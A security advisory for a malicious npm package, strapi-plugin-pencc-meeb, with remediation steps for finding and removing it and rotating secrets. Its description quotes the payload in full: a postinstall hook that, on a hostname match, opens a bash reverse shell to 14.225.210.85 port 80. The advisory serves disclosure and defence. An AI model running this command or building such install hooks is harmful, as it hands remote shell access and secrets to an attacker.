MAL-2026-16210 Malicious code in strapi-plugin-pencc-meeb (npm)
Malicious package
Published
MAL-2026-16210 is a malicious package: strapi-plugin-pencc-meeb (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-16210/ (Markdown: https://insights.sbomify.com/MAL-2026-16210/index.md)
- Package
- strapi-plugin-pencc-meeb
- Registry
- npm
What is MAL-2026-16210?
MAL-2026-16210 is a malicious package in strapi-plugin-pencc-meeb, published on 16 Sep 2026.
Official description
postinstall.js is registered as the package's postinstall script and runs automatically on npm install. It compares os.hostname() to the hardcoded string 'ubuntu-fc-uvm' and, on a match, executes
bash -c "bash -i >& /dev/tcp/14.225.210.85/80 0>&1" via child_process, opening an interactive reverse shell to 14.225.210.85 on TCP port 80. The script includes retry logic and writes to /tmp/postinstall-revshell.log. The hostname gate suppresses activity on non-matching hosts, but the payload is shipped in every install of this version.What should I do about MAL-2026-16210?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.